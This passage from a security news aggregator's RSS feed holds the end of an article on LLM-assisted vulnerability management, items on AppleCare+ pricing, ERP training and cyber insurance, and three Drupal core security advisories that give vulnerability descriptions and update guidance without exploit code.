        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Screenshot_2026-07-15_at_10.24.22PM.max-1000x1000.png" alt="demistifying image 7">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 7: Flowchart demonstrating the difference between local IDE AI remediation and centralized CI/CD pipeline remediation.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Conclusion</span></h3>
<p><span>Leveraging LLMs in vulnerability management is a multi-layer solution: Integrating it requires separating workflows by layer. At the enterprise infrastructure level, Risk-Based Vulnerability Management (RBVM) and exposure management are necessary to process the volume of findings and configuration drift. At the product and code security level, LLM-enabled vulnerability assessment and remediation must operate alongside foundational deterministic controls, such as SAST and DAST, to audit custom, open-source, or third-party code.</span></p>
<p><span>Although LLMs can help manage technical debt and accelerate vulnerability discovery, they do not replace secure-by-design principles. The fact that LLM agents are proving exceptionally capable at identifying and exploiting localized memory corruption in memory-unsafe codebases, alongside other primary vectors, should serve as a wake-up call. </span></p>
<p><span>As a long-term strategy aligned with </span><a href="https://media.defense.gov/2022/Nov/10/2003112742/-1/-1/0/CSI_SOFTWARE_MEMORY_SAFETY.PDF" rel="noopener" target="_blank"><span>NSA guidance on Software Memory Safety</span></a><span>, organizations need to phase memory-safe languages into new internal development. LLMs are beginning to expand what is possible here by reducing the manual labor required for code migration. Converting existing C or C++ codebases to Rust has historically been unrealistic due to the large volume of engineering hours needed. While fully automated translation is not a turn-key solution, using LLMs to assist engineers with the bulk of the conversion can make these long-term migrations operationally viable. Beyond internal efforts, organizations should use procurement requirements to incentivize vendors to reduce their reliance on memory-unsafe languages and establish secure configuration defaults over time. Bridging the gap between AI velocity and enterprise defense means building an automated pipeline to manage the current backlog, while architecting systems where entire classes of vulnerabilities and misconfigurations are eliminated by design.</span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Google Threat Intelligence Group (GTIG) and other broader Google teams.</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Raises AppleCare+ Prices for New Mac and iPad Customers]]></title>
<description><![CDATA[Apple has increased AppleCare+ prices for new Mac and iPad customers, with monthly plans rising by 50 cents and annual plans increasing by $5. The updated pricing applies only to new sign-ups, while existing customers will continue paying their current rates for now.



Bloomberg reported the cha...]]></description>
<link>https://tsecurity.de/de/3673296/ios-mac-os/apple-raises-applecare-prices-for-new-mac-and-ipad-customers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673296/ios-mac-os/apple-raises-applecare-prices-for-new-mac-and-ipad-customers/</guid>
<pubDate>Thu, 16 Jul 2026 13:41:21 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has increased AppleCare+ prices for new Mac and iPad customers, with monthly plans rising by 50 cents and annual plans increasing by $5. The updated pricing applies only to new sign-ups, while existing customers will continue paying their current rates for now.



Bloomberg reported the change, which follows several recent price increases across Apple’s hardware lineup. AppleCare+ gives customers extended hardware coverage, accidental damage repairs, battery service, and priority support from Apple experts.



New AppleCare+ prices for Macs and iPads



The revised Mac prices now include:




Mac mini: $4.49 per month or $44.99 per year



Mac Studio: $6.99 per month or $69.99 per year



iMac: $6.99 per month or $69.99 per year



MacBook Neo: $5.99 per month or $59.99 per year



13-inch MacBook Air: $7.99 per month or $79.99 per year



15-inch MacBook Air: $8.99 per month or $89.99 per year



14-inch MacBook Pro: $10.99 per month or $109.99 per year



16-inch MacBook Pro: $15.99 per month or $159.99 per year



Mac Pro: $18.49 per month or $184.99 per year




The revised iPad prices now include:




iPad and iPad mini: $5.99 per month or $59.99 per year



11-inch iPad Air with M4: $6.99 per month or $69.99 per year



13-inch iPad Air with M4: $7.99 per month or $79.99 per year



11-inch iPad Pro with M5: $10.99 per month or $109.99 per year



13-inch iPad Pro with M5: $11.99 per month or $119.99 per year




AppleCare One remains priced from $19.99 per month and covers up to three eligible Apple devices. Customers can add more products for $5.99 per month each, while iPhone, iPad, and Apple Watch coverage also includes theft and loss protection.]]></content:encoded>
</item>
<item>
<title><![CDATA[Why your ERP training program is failing your employees]]></title>
<description><![CDATA[I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the s...]]></description>
<link>https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the same pace, with the same examples, regardless of who is sitting in the chairs.</p>



<p class="wp-block-paragraph">In one room, you might have a warehouse supervisor who has never used enterprise software, a finance manager with 20 years of system experience and a department coordinator somewhere in between. The vendor trainer covers the same material with all of them. Everyone gets a certificate at the end. Almost nobody is prepared to do their job in the new system when go-live arrives.</p>



<p class="wp-block-paragraph">I want to be clear about something before I go further. In my previous CIO article, I wrote about why organizations should <a href="https://www.cio.com/article/4181808/stop-blaming-your-erp-vendor.html">stop blaming their ERP vendor when implementations fail</a>. That argument still stands. But the training problem is a choice the organization makes. <a href="https://ecosire.com/blog/erp-user-training-best-practices-guide">Most organizations spend less than 5% of their total ERP project budget on training</a> and then hand that underfunded responsibility to the vendor. The vendor delivers what they were contracted to deliver. The gap between what got delivered and what the organization actually needed is not the vendor’s fault. It is a decision the organization made, often without fully understanding its consequences.</p>



<p class="wp-block-paragraph">After 25 years of leading enterprise software implementations and based on the doctoral research I conducted studying ERP implementations in small businesses, I am convinced that the organizations that get training right share one thing in common: they build the expertise internally rather than importing it.</p>



<h2 class="wp-block-heading">Why vendor training falls short</h2>



<p class="wp-block-paragraph">Vendor trainers know the software. That is not in question. What they do not know is your business: your processes, your workflows, your data, your terminology, your culture and the specific ways your organization will use the system once it is live.</p>



<p class="wp-block-paragraph">That gap matters more than most organizations realize. <a href="https://www.prosci.com/blog/why-do-erp-implementations-fail">Research consistently shows that inadequate training is one of the primary drivers of ERP implementation failure</a>, not because training did not happen, but because the training that happened did not connect the system to the work. Employees left those sessions knowing what buttons to click without understanding why those buttons mattered to their specific job.</p>



<p class="wp-block-paragraph">Generic training has a structural problem: it is optimized for coverage, not relevance. The goal is to ensure every employee has seen every feature. The result is that employees spend significant time learning functionality that does not apply to their role, while the functionality that does apply gets the same shallow treatment as everything else.</p>



<p class="wp-block-paragraph">A finance manager sitting through a session on shop floor production tracking is not learning anything she will use. A warehouse supervisor learning about financial journal entries is in the same position. Both leave the session technically trained. Neither leaves prepared.</p>



<p class="wp-block-paragraph">There is also a timing problem. Vendor training typically happens in a compressed window before go-live, delivered as a series of sessions rather than a progression. Research on learning retention suggests that training delivered weeks before it is needed, without reinforcement or practice, is largely forgotten by the time employees need to apply it. The result is a go-live day where everyone attended training and almost nobody feels ready.</p>



<h2 class="wp-block-heading">What internal expertise looks like in practice</h2>



<p class="wp-block-paragraph">In my doctoral research, I interviewed six IT managers from small businesses who had each led successful ERP implementations. Five of the six identified role-based, department-specific training as essential to their outcome. What distinguished their approach was not that they spent more on training. It was that they built the training capability inside the organization rather than contracting it out.</p>



<p class="wp-block-paragraph">The approach that worked most consistently was identifying one person from each affected department early in the implementation, before configuration even began. That person became the departmental expert: involved in design decisions, consulted on how their team’s processes mapped to the new system and ultimately responsible for either delivering training to their colleagues or co-leading it alongside a formal trainer.</p>



<p class="wp-block-paragraph">This is sometimes called a super user model, and the research supports its effectiveness. But what I observed in the implementations that worked goes beyond the mechanics of the model. The departmental expert brought something a vendor trainer cannot: credibility. When the warehouse supervisor learns the receiving process from someone who has worked in that warehouse, who understands the exceptions and the edge cases and the way things truly flow on a busy day, the training resonates in a way that a generic session never can.</p>



<p class="wp-block-paragraph">There is also an ownership dimension that is easy to underestimate. <a href="https://www.workday.com/en-us/perspectives/hr/erp-training-tips-best-practices.html">Peer-based training led by internal super users helps employees connect system steps to their daily responsibilities</a> in ways that outsider-led training rarely achieves. The departmental expert has skin in the game. They are going to use this system too. That shared stake changes the dynamic in the training room and sustains the support relationship long after the formal training is over.</p>



<p class="wp-block-paragraph">I have seen this play out in both directions. In implementations where the organization invested in building internal expertise early, go-live day was hard but manageable. Questions went to the departmental expert, who could answer them in the language of the department. Issues surfaced quickly because someone in each area was watching for them. Adoption stabilized faster because the support was embedded in the team rather than accessible only through a help desk ticket.</p>



<p class="wp-block-paragraph">In implementations where training was handed entirely to the vendor, the pattern was different. Go-live revealed gaps that training had not covered. The vendor’s support engagement was winding down. The organization had no internal expertise to draw on. Employees reverted to workarounds. The system went live but never fully took hold.</p>



<h2 class="wp-block-heading">How to build internal training capability before go-live</h2>



<p class="wp-block-paragraph">The organizations that got this right did not wait until the training phase to think about training. They started building internal expertise at the beginning of the project. Here is what that looked like in practice.</p>



<h3 class="wp-block-heading">Identify departmental experts early</h3>



<p class="wp-block-paragraph">Select one person from each affected department before configuration begins. Choose people who are respected by their colleagues, have a solid understanding of their department’s processes and are willing to invest extra time in the project. This is not a small ask. Make sure they and their managers understand the commitment and that the contribution is recognized.</p>



<h3 class="wp-block-heading">Involve them in the implementation, not just the training</h3>



<p class="wp-block-paragraph">The departmental expert should participate in process design sessions, configuration reviews and user acceptance testing. By the time training begins, they should understand the system deeply enough to explain not just how it works but why specific decisions were made. That context is what makes internal training credible.</p>



<h3 class="wp-block-heading">Design training around the job, not the system</h3>



<p class="wp-block-paragraph">Training content should be organized around realistic work scenarios specific to each department, not around the system’s feature set. The finance team trains on how to process their transactions in the new system. The warehouse team trains on how to manage their receipts and inventory. Connect every step to the work employees actually do.</p>



<h3 class="wp-block-heading">Plan for post-go-live support, not just pre-go-live training</h3>



<p class="wp-block-paragraph">The weeks immediately after go-live are when training becomes real and when the gaps in pre-go-live preparation surface. The departmental expert should have a defined support role in that period: available to their colleagues, connected to the project team and empowered to escalate issues that need resolution. This is not a minor detail. It is where the investment in internal expertise pays its most important dividends.</p>



<p class="wp-block-paragraph">None of this requires a large budget or a dedicated training function. It requires early decisions about who will own the training relationship inside each department and the organizational commitment to support those people through the implementation, rather than treating training as a final phase activity.</p>



<p class="wp-block-paragraph">The vendor knows the software. That knowledge is valuable and should not be wasted. But your people know your business, your processes and the way work flows on any given day. The question is not whether to use your vendor’s expertise. It is whether you are also building the internal expertise that turns a trained workforce into a prepared one. The organization that does both will not just go live. It will thrive.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Reading between the lines of a cyber insurance policy]]></title>
<description><![CDATA[Enterprises in regulated industries often carry cyber insurance policies because contracts require it or boards ask for documented risk transfer. The global market for these policies reached about $16 billion in premiums in 2024. Coverage has become widespread. Payouts have…
Read more →
The post ...]]></description>
<link>https://tsecurity.de/de/3672556/it-security-nachrichten/reading-between-the-lines-of-a-cyber-insurance-policy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672556/it-security-nachrichten/reading-between-the-lines-of-a-cyber-insurance-policy/</guid>
<pubDate>Thu, 16 Jul 2026 08:37:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprises in regulated industries often carry cyber insurance policies because contracts require it or boards ask for documented risk transfer. The global market for these policies reached about $16 billion in premiums in 2024. Coverage has become widespread. Payouts have…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/reading-between-the-lines-of-a-cyber-insurance-policy/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/reading-between-the-lines-of-a-cyber-insurance-policy/">Reading between the lines of a cyber insurance policy</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Reading between the lines of a cyber insurance policy]]></title>
<description><![CDATA[Enterprises in regulated industries often carry cyber insurance policies because contracts require it or boards ask for documented risk transfer. The global market for these policies reached about $16 billion in premiums in 2024. Coverage has become widespread. Payouts have grown less predictable...]]></description>
<link>https://tsecurity.de/de/3672477/it-security-nachrichten/reading-between-the-lines-of-a-cyber-insurance-policy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672477/it-security-nachrichten/reading-between-the-lines-of-a-cyber-insurance-policy/</guid>
<pubDate>Thu, 16 Jul 2026 08:07:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprises in regulated industries often carry cyber insurance policies because contracts require it or boards ask for documented risk transfer. The global market for these policies reached about $16 billion in premiums in 2024. Coverage has become widespread. Payouts have grown less predictable. The gap between exposure and coverage The Global Federation of Insurance Associations, which represents insurers accounting for close to 90 percent of premiums worldwide, quantified the cyber protection gap at about $900 … <a href="https://www.helpnetsecurity.com/2026/07/16/cyber-insurance-coverage-gap/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/16/cyber-insurance-coverage-gap/">Reading between the lines of a cyber insurance policy</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Drupal core - Moderately critical - Information disclosure - SA-CORE-2026-010]]></title>
<description><![CDATA[Project: Drupal coreDate: 2026-July-15Security risk: Moderately critical 10 ∕ 25 AC:Complex/A:None/CI:Some/II:None/E:Theoretical/TD:UncommonVulnerability: Information disclosureAffected versions: =11.3.0 =11.4.0]]></description>
<link>https://tsecurity.de/de/3671779/it-security-nachrichten/drupal-core-moderately-critical-information-disclosure-sa-core-2026-010/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671779/it-security-nachrichten/drupal-core-moderately-critical-information-disclosure-sa-core-2026-010/</guid>
<pubDate>Wed, 15 Jul 2026 22:08:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="field field-name-field-project field-type-entityreference field-label-inline clearfix"><div class="field-label">Project: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/project/drupal">Drupal core</a></div></div></div><div class="field field-name-drupalorg-sa-date field-type-text field-label-inline clearfix"><div class="field-label">Date: </div><div class="field-items"><div class="field-item even">2026-July-15</div></div></div><div class="field field-name-field-sa-criticality field-type-text field-label-inline clearfix"><div class="field-label">Security risk: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/security-team/risk-levels" class="moderately-critical" title="AC - Access complexity: Complex or highly specific (multi-step, unintuitive process with high number of dependencies)
A - Authentication: None (all/anonymous users)
CI - Confidentiality impact: Certain non-public data is released
II - Integrity impact: Data integrity remains intact
E - Exploit (Zero-day impact): Theoretical or white-hat (no public exploit code or documentation on development exists)
TD - Target distribution: Only uncommon module configurations are exploitable"><strong>Moderately critical</strong> 10 ∕ 25 AC:Complex/A:None/CI:Some/II:None/E:Theoretical/TD:Uncommon</a></div></div></div><div class="field field-name-field-sa-type field-type-text field-label-inline clearfix"><div class="field-label">Vulnerability: </div><div class="field-items"><div class="field-item even">Information disclosure</div></div></div><div class="field field-name-field-affected-versions field-type-text field-label-inline clearfix"><div class="field-label">Affected versions: </div><div class="field-items"><div class="field-item even">&lt;10.6.13 || &gt;=11.3.0 &lt;11.3.14 || &gt;=11.4.0 &lt;11.4.4 || 11.0.* || 11.1.* || 11.2.*</div></div></div><div class="field field-name-field-sa-cve field-type-text field-label-inline clearfix"><div class="field-label">CVE IDs: </div><div class="field-items"><div class="field-item even">CVE-2026-15916</div></div></div><div class="field field-name-field-sa-description field-type-text-long field-label-above"><div class="field-label">Description: </div><div class="field-items"><div class="field-item even"><p>The Image module allows you to define and configure image fields.</p>
<p>The module doesn't sufficiently check access to image style derivatives when those files are served via a file stream other than <code class="language-php">private://</code>.</p>
<p>This vulnerability is mitigated by the fact that Drupal must be configured to use a contributed (non-core) file scheme to serve private derived images.</p>
<p>Information disclosure issues like this one are not generally given security advisories (as described in <a href="https://www.drupal.org/psa-2023-07-12" rel="nofollow">PSA-2023-07-12)</a>). This fix is provided as a hardening. Contributed modules implementing custom stream wrappers may need to add similar hardenings.</p></div></div></div><div class="field field-name-field-sa-solution field-type-text-long field-label-above"><div class="field-label">Solution: </div><div class="field-items"><div class="field-item even"><p>Install the latest version:</p>
<p><strong>Drupal 11</strong></p>
<ul>
<li>If you use Drupal 11.4.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.4.4" rel="nofollow">Drupal 11.4.4</a>.</li>
<li>If you use Drupal 11.3.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.3.14" rel="nofollow">Drupal 11.3.14</a>.</li>
<li>Drupal 11.2.x and below are end-of-life and do not receive security coverage.</li>
</ul>
<p><strong>Drupal 10</strong></p>
<ul>
<li>If you use Drupal 10.6.x, update to <a href="https://www.drupal.org/project/drupal/releases/10.6.13" rel="nofollow">Drupal 10.6.13</a>.</li>
<li>Drupal 10.5.x and below are end-of-life and do not receive security coverage.</li>
</ul>
<p><a href="https://www.drupal.org/psa-2021-06-29" rel="nofollow">Drupal 8</a> and <a href="https://www.drupal.org/psa-2023-11-01" rel="nofollow">Drupal 9</a> have both reached end-of-life.</p></div></div></div><div class="field field-name-field-sa-reported-by field-type-text-long field-label-above"><div class="field-label">Reported By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/offensive-ai" rel="nofollow">offensive-ai</a>
</li></ul></div></div></div><div class="field field-name-field-sa-fixed-by field-type-text-long field-label-above"><div class="field-label">Fixed By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/benjifisher" rel="nofollow">Benji Fisher (benjifisher)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/kimpepper" rel="nofollow">Kim Pepper (kim.pepper)</a>
</li><li><a href="https://www.drupal.org/u/mohit_aghera" rel="nofollow">Mohit Aghera (mohit_aghera)</a>
</li></ul></div></div></div><div class="field field-name-field-sa-coordinated-by field-type-text-long field-label-above"><div class="field-label">Coordinated By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/benjifisher" rel="nofollow">Benji Fisher (benjifisher)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/catch" rel="nofollow"> catch (catch)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/larowlan" rel="nofollow">Lee Rowlands (larowlan)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/poker10" rel="nofollow">Juraj Nemec (poker10)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/xjm" rel="nofollow">Jess  (xjm)</a> of the Drupal Security Team
</li></ul></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Drupal core - Moderately critical - Cross-site scripting - SA-CORE-2026-011]]></title>
<description><![CDATA[Project: Drupal coreDate: 2026-July-15Security risk: Moderately critical 14 ∕ 25 AC:Basic/A:User/CI:Some/II:Some/E:Theoretical/TD:AllVulnerability: Cross-site scriptingAffected versions: >=11.3.0 =11.4.0]]></description>
<link>https://tsecurity.de/de/3671778/it-security-nachrichten/drupal-core-moderately-critical-cross-site-scripting-sa-core-2026-011/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671778/it-security-nachrichten/drupal-core-moderately-critical-cross-site-scripting-sa-core-2026-011/</guid>
<pubDate>Wed, 15 Jul 2026 22:08:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="field field-name-field-project field-type-entityreference field-label-inline clearfix"><div class="field-label">Project: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/project/drupal">Drupal core</a></div></div></div><div class="field field-name-drupalorg-sa-date field-type-text field-label-inline clearfix"><div class="field-label">Date: </div><div class="field-items"><div class="field-item even">2026-July-15</div></div></div><div class="field field-name-field-sa-criticality field-type-text field-label-inline clearfix"><div class="field-label">Security risk: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/security-team/risk-levels" class="moderately-critical" title="AC - Access complexity: Basic or routine (user must follow specific path)
A - Authentication: User-level access (basic/commonly assigned permissions)
CI - Confidentiality impact: Certain non-public data is released
II - Integrity impact: Some data can be modified
E - Exploit (Zero-day impact): Theoretical or white-hat (no public exploit code or documentation on development exists)
TD - Target distribution: All module configurations are exploitable"><strong>Moderately critical</strong> 14 ∕ 25 AC:Basic/A:User/CI:Some/II:Some/E:Theoretical/TD:All</a></div></div></div><div class="field field-name-field-sa-type field-type-text field-label-inline clearfix"><div class="field-label">Vulnerability: </div><div class="field-items"><div class="field-item even">Cross-site scripting</div></div></div><div class="field field-name-field-affected-versions field-type-text field-label-inline clearfix"><div class="field-label">Affected versions: </div><div class="field-items"><div class="field-item even">&gt;=11.3.0 &lt;11.3.14 || &gt;=11.4.0 &lt;11.4.4 || 11.2.*</div></div></div><div class="field field-name-field-sa-cve field-type-text field-label-inline clearfix"><div class="field-label">CVE IDs: </div><div class="field-items"><div class="field-item even">CVE-2026-15917</div></div></div><div class="field field-name-field-sa-description field-type-text-long field-label-above"><div class="field-label">Description: </div><div class="field-items"><div class="field-item even"><p>Drupal core 11.2 and above integrate the HTMX JavaScript library.</p>
<p>Drupal core's XSS filter does not sufficiently sanitize certain HTMX attributes, which can lead to a cross-site scripting (XSS) vulnerability.</p>
<p>The vulnerability is mitigated by the fact an attacker must be able to insert HTML with specific attributes.</p></div></div></div><div class="field field-name-field-sa-solution field-type-text-long field-label-above"><div class="field-label">Solution: </div><div class="field-items"><div class="field-item even"><p>Install the latest version:</p>
<p><strong>Drupal 11</strong></p>
<ul>
<li>If you use Drupal 11.4.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.4.4" rel="nofollow">Drupal 11.4.4</a>.</li>
<li>If you use Drupal 11.3.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.3.14" rel="nofollow">Drupal 11.3.14</a>.</li>
<li>Drupal 11.2.x and below are end-of-life and do not receive security coverage.</li>
</ul>
<p><strong>Drupal 10</strong></p>
<ul>
<li>Drupal 10 core is not affected. However, certain contributed modules may be affected, so a Drupal 10.6 fix is included as hardening.</li>
</ul>
<p><a href="https://www.drupal.org/psa-2021-06-29" rel="nofollow">Drupal 8</a> and <a href="https://www.drupal.org/psa-2023-11-01" rel="nofollow">Drupal 9</a> have both reached end-of-life.</p></div></div></div><div class="field field-name-field-sa-reported-by field-type-text-long field-label-above"><div class="field-label">Reported By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/prudloff" rel="nofollow">Pierre Rudloff (prudloff)</a> of the Drupal Security Team
</li></ul></div></div></div><div class="field field-name-field-sa-fixed-by field-type-text-long field-label-above"><div class="field-label">Fixed By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/fathershawn" rel="nofollow">Shawn Duncan (fathershawn)</a>
</li><li><a href="https://www.drupal.org/u/prudloff" rel="nofollow">Pierre Rudloff (prudloff)</a> of the Drupal Security Team
</li></ul></div></div></div><div class="field field-name-field-sa-coordinated-by field-type-text-long field-label-above"><div class="field-label">Coordinated By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/catch" rel="nofollow"> catch (catch)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/larowlan" rel="nofollow">Lee Rowlands (larowlan)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/longwave" rel="nofollow">Dave Long (longwave)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/xjm" rel="nofollow">Jess  (xjm)</a> of the Drupal Security Team
</li></ul></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Drupal core - Moderately critical - Cross-site scripting - SA-CORE-2026-012]]></title>
<description><![CDATA[Project: Drupal coreDate: 2026-July-14Security risk: Moderately critical 13 ∕ 25 AC:Basic/A:User/CI:Some/II:Some/E:Theoretical/TD:DefaultVulnerability: Cross-site scriptingAffected versions: =11.3.0 =11.4.0]]></description>
<link>https://tsecurity.de/de/3671754/it-security-nachrichten/drupal-core-moderately-critical-cross-site-scripting-sa-core-2026-012/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671754/it-security-nachrichten/drupal-core-moderately-critical-cross-site-scripting-sa-core-2026-012/</guid>
<pubDate>Wed, 15 Jul 2026 21:53:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="field field-name-field-project field-type-entityreference field-label-inline clearfix"><div class="field-label">Project: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/project/drupal">Drupal core</a></div></div></div><div class="field field-name-drupalorg-sa-date field-type-text field-label-inline clearfix"><div class="field-label">Date: </div><div class="field-items"><div class="field-item even">2026-July-14</div></div></div><div class="field field-name-field-sa-criticality field-type-text field-label-inline clearfix"><div class="field-label">Security risk: </div><div class="field-items"><div class="field-item even"><a href="https://www.drupal.org/security-team/risk-levels" class="moderately-critical" title="AC - Access complexity: Basic or routine (user must follow specific path)
A - Authentication: User-level access (basic/commonly assigned permissions)
CI - Confidentiality impact: Certain non-public data is released
II - Integrity impact: Some data can be modified
E - Exploit (Zero-day impact): Theoretical or white-hat (no public exploit code or documentation on development exists)
TD - Target distribution: Default or common module configurations are exploitable, but a config change can disable the exploit"><strong>Moderately critical</strong> 13 ∕ 25 AC:Basic/A:User/CI:Some/II:Some/E:Theoretical/TD:Default</a></div></div></div><div class="field field-name-field-sa-type field-type-text field-label-inline clearfix"><div class="field-label">Vulnerability: </div><div class="field-items"><div class="field-item even">Cross-site scripting</div></div></div><div class="field field-name-field-affected-versions field-type-text field-label-inline clearfix"><div class="field-label">Affected versions: </div><div class="field-items"><div class="field-item even">&lt;10.6.13 || &gt;=11.3.0 &lt;11.3.14 || &gt;=11.4.0 &lt;11.4.4 || 11.0.* || 11.1.* || 11.2.*</div></div></div><div class="field field-name-field-sa-cve field-type-text field-label-inline clearfix"><div class="field-label">CVE IDs: </div><div class="field-items"><div class="field-item even">CVE-2026-55805</div></div></div><div class="field field-name-field-sa-description field-type-text-long field-label-above"><div class="field-label">Description: </div><div class="field-items"><div class="field-item even"><p>The Layout Builder module doesn't sufficiently sanitize block labels in certain scenarios, which can lead to a cross-site scripting (XSS) vulnerability.</p>
<p>This is mitigated by the fact that both the attacker and the targeted user need to be using the Layout Builder editing interface.  </p></div></div></div><div class="field field-name-field-sa-solution field-type-text-long field-label-above"><div class="field-label">Solution: </div><div class="field-items"><div class="field-item even"><p>Install the latest version:</p>
<p><strong>Drupal 11</strong></p>
<ul>
<li>If you use Drupal 11.4.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.4.4" rel="nofollow">Drupal 11.4.4</a>.</li>
<li>If you use Drupal 11.3.x, update to <a href="https://www.drupal.org/project/drupal/releases/11.3.14" rel="nofollow">Drupal 11.3.14</a>.</li>
<li>Drupal 11.2.x and below are end-of-life and do not receive security coverage.</li>
</ul>
<p><strong>Drupal 10</strong></p>
<ul>
<li>If you use Drupal 10.6.x, update to <a href="https://www.drupal.org/project/drupal/releases/10.6.13" rel="nofollow">Drupal 10.6.13</a>.</li>
<li>Drupal 10.5.x and below are end-of-life and do not receive security coverage.</li>
</ul>
<p><a href="https://www.drupal.org/psa-2021-06-29" rel="nofollow">Drupal 8</a> and <a href="https://www.drupal.org/psa-2023-11-01" rel="nofollow">Drupal 9</a> have both reached end-of-life.</p></div></div></div><div class="field field-name-field-sa-reported-by field-type-text-long field-label-above"><div class="field-label">Reported By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/hai27ii2o" rel="nofollow">haii haii (hai27ii2o)</a>
</li></ul></div></div></div><div class="field field-name-field-sa-fixed-by field-type-text-long field-label-above"><div class="field-label">Fixed By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/danielveza" rel="nofollow">danielveza</a>
</li><li><a href="https://www.drupal.org/u/larowlan" rel="nofollow">Lee Rowlands (larowlan)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/mingsong" rel="nofollow">Mingsong  (mingsong)</a> provisional member of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/neclimdul" rel="nofollow">James Gilliland (neclimdul)</a> of the Drupal Security Team
</li></ul></div></div></div><div class="field field-name-field-sa-coordinated-by field-type-text-long field-label-above"><div class="field-label">Coordinated By: </div><div class="field-items"><div class="field-item even"><ul>
<li><a href="https://www.drupal.org/u/greggles" rel="nofollow">Greg Knaddison (greggles)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/larowlan" rel="nofollow">Lee Rowlands (larowlan)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/longwave" rel="nofollow">Dave Long (longwave)</a> of the Drupal Security Team
</li><li><a href="https://www.drupal.org/u/xjm" rel="nofollow">Jess  (xjm)</a> of the Drupal Security Team
